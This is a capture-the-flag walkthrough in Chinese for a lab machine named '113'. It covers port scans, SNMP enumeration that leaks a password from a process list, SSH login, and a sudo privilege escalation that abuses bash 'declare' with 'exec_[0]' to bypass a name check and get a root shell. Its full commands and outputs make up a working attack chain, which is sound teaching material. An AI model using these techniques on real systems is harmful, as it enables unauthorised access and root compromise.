# 信息收集

```
┌──(root㉿kali)-[~]
└─# arp-scan -l | grep PCS
192.168.31.228  08:00:27:82:5e:1a       PCS Systemtechnik GmbH

┌──(root㉿kali)-[~]
└─# IP=192.168.31.228

```

```
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -A $IP -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-18 05:13 EST
Nmap scan report for 113 (192.168.31.228)
Host is up (0.00099s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: 400 Bad Request
MAC Address: 08:00:27:82:5E:1A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.99 ms 113 (192.168.31.228)

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.26 seconds
```

# 目录扫描

```
┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$IP -x php,php3,txt,html,bk,bak,zip,tar,gz,shtml
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.31.228
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,php3,txt,bk,zip,tar,gz,html,bak,shtml
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 279]
/index.html           (Status: 200) [Size: 796]
/.php                 (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]
Progress: 2426160 / 2426171 (100.00%)
===============================================================
Finished
===============================================================
```

80 端口没东西

# UDP 扫描

```
┌──(root㉿kali)-[~]
└─# nmap -sU -T5 --min-rate 100 --max-rate 500 $IP
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-18 05:44 EST
Warning: 192.168.31.228 giving up on port because retransmission cap hit (2).
Nmap scan report for 113 (192.168.31.228)
Host is up (0.0013s latency).
Not shown: 983 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
```

```
161/udp   open   snmp
643/udp   closed sanity
1072/udp  closed cardax
1087/udp  closed cplscrambler-in
1090/udp  closed ff-fms
1782/udp  closed hp-hcip
1901/udp  closed fjicl-tep-a
3456/udp  closed IISrpc-or-vat
6004/udp  closed X11:4
6050/udp  closed x11
19374/udp closed unknown
36669/udp closed unknown
42313/udp closed unknown
42577/udp closed unknown
42627/udp closed unknown
51456/udp closed unknown
51972/udp closed unknown
MAC Address: 08:00:27:82:5E:1A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 11.24 seconds
```

发现 161 端口开着 snmp 服务

接下来检查 snmp 服务看看有没有泄露信息

```
┌──(root㉿kali)-[~]
└─# snmp-check $IP
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)

[+] Try to connect to 192.168.31.228:161 using SNMPv1 and community 'public'

[*] System information:

  Host IP address               : 192.168.31.228
  Hostname                      : 113
  Description                   : Linux 113 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1
(2024-06-25) x86_64
  Contact                       : root
  Location                      : Unknown
  Uptime snmp                   : 00:35:33.04
  Uptime system                 : 00:35:19.11
  System date                   : 2026-1-18 05:46:42.0

[*] Network information:

  IP forwarding enabled         : no
  Default TTL                   : 64
  TCP segments received         : 2607728
  TCP segments sent             : 2596341
```

```
  TCP segments retrans          : 6
  Input datagrams               : 2623891
  Delivered datagrams           : 2623891
  Output datagrams              : 2596916

[*] Network interfaces:

  Interface                     : [ up ] lo
  Id                            : 1
  Mac Address                   : :::::
  Type                          : softwareLoopback
  Speed                         : 10 Mbps
  MTU                           : 65536
  In octets                     : 8184
  Out octets                    : 8184

  Interface                     : [ up ] Intel Corporation 82540EM Gigabit Ethernet
Controller
  Id                            : 2
  Mac Address                   : 08:00:27:82:5e:1a
  Type                          : ethernet-csmacd
  Speed                         : 1000 Mbps
  MTU                           : 1500
  In octets                     : 417797211
  Out octets                    : 1231871439


[*] Network IP:

  Id                    IP Address            Netmask               Broadcast
  1                     127.0.0.1             255.0.0.0             0
  2                     192.168.31.228        255.255.255.0         1

[*] Routing information:

  Destination           Next hop              Mask                  Metric
  0.0.0.0               192.168.31.1          0.0.0.0               1
  192.168.31.0          0.0.0.0               255.255.255.0         0

[*] TCP connections and listening ports:

  Local address         Local port            Remote address        Remote port
State
  0.0.0.0               22                    0.0.0.0               0
listen

[*] Listening UDP ports:

  Local address         Local port
  0.0.0.0               68
  0.0.0.0               161

[*] Processes:
```

```
75
76    Id                  Status              Name                Path
      Parameters
77    ...
78    352                 runnable            systemd-logind
      /lib/systemd/systemd-logind
79    376                 runnable            sleep               service --user
      welcome --password mMOq2WWONQiiY8TinSRF --host localhost --port 8080  infinity
80    385                 runnable            dhclient            /sbin/dhclient
      -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df
      /var/lib/dhcp/dhclient6.enp0s3.leases enp0
81    ...
```

从进程列表中看到了 sleep 进程 PID 376 在 8080 端口开了个服务 `service --user welcome --password mMOq2WWONQiiY8TinSRF --host localhost --port 8080`，用户名 `welcome` 和密码 `mMOq2WWONQiiY8TinSRF`

试试看能不能拿来登录 ssh

```
1  ┌──(root㉿kali)-[~]
2  └─# ssh welcome@$IP -p 22
3  The authenticity of host '192.168.31.228 (192.168.31.228)' can't be established.
4  ED25519 key fingerprint is SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.
5  This key is not known by any other names.
6  Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
7  Warning: Permanently added '192.168.31.228' (ED25519) to the list of known hosts.
8  welcome@192.168.31.228's password:
9  Linux 113 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
10
11 The programs included with the Debian GNU/Linux system are free software;
12 the exact distribution terms for each program are described in the
13 individual files in /usr/share/doc/*/copyright.
14
15 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
16 permitted by applicable law.
17 Last login: Wed Jan 14 08:32:23 2026 from 192.168.3.94
18 welcome@113:~$ id
19 uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)
20 welcome@113:~$ ls -ah
21 .  ..  .bash_history  .bash_logout  .bashrc  .profile  user.txt
22 welcome@113:~$ cat user.txt
23 flag{user-21539141ad1bc8ab9d26420aecb2415b}
```

# 提权

列出当前用户允许通过 sudo 执行的命令

```
welcome@113:~$ sudo -l
Matching Defaults entries for welcome on 113:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on 113:
    (ALL) NOPASSWD: /opt/113.sh
```

查看 `/opt/113.sh` 的内容

```
welcome@113:~$ cat /opt/113.sh
#!/bin/bash

sandbox=$(mktemp -d)
cd $sandbox

if [ "$#" -ne 3 ];then
        exit
fi

if [ "$3" != "mazesec" ]
then
        echo "\$3 must be mazesec"
        exit
else
        /bin/cp /usr/bin/mazesec $sandbox
        exec_="$sandbox/mazesec"
fi

if [ "$1" = "exec_" ];then
        exit
fi

declare -- "$1"="$2"
$exec_
```

最后这几行存在漏洞：

```
if [ "$1" = "exec_" ];then
        exit
fi

declare -- "$1"="$2"
$exec_
```

脚本逻辑是：

1. 定义变量 `exec_` 指向脚本 `$sandbox/mazesec`
2. 禁止将第一个参数 `$1` 命名为 `exec_`
3. 使用 `declare` 动态声明变量，将 `$2` 赋值给名为 `$1` 的变量
4. 执行 `$exec_`

目标是覆盖 `exec_` 变量，将其改为 `/bin/bash`，从而拿到 root shell

虽然脚本显式禁止了 `$1` 等于 `"exec_"`，但是 bash 中变量和数组的第 0 个元素是等价的，也就是说 `exec_` 等同于 `exec_[0]`

但是字符串比较时 `"exec_[0]"` 不等于 `"exec_"`

因此可以传递 `exec_[0]` 作为变量名来绕过 `if` 检查，利用 `declare` 覆盖 `exec_` 变量的值

```
welcome@113:~$ sudo /opt/113.sh "exec_[0]" "/bin/bash" "mazesec"
root@113:/tmp/tmp.NFoFntObm4# id
uid=0(root) gid=0(root) groups=0(root)
root@113:/tmp/tmp.NFoFntObm4# cd /root
root@113:~# ls -ah
.  ..  113rootpass.txt  .bash_history  .bashrc  .cache  .gnupg  .local  .profile
root.txt  .ssh  .viminfo
root@113:~# cat root.txt
flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}
```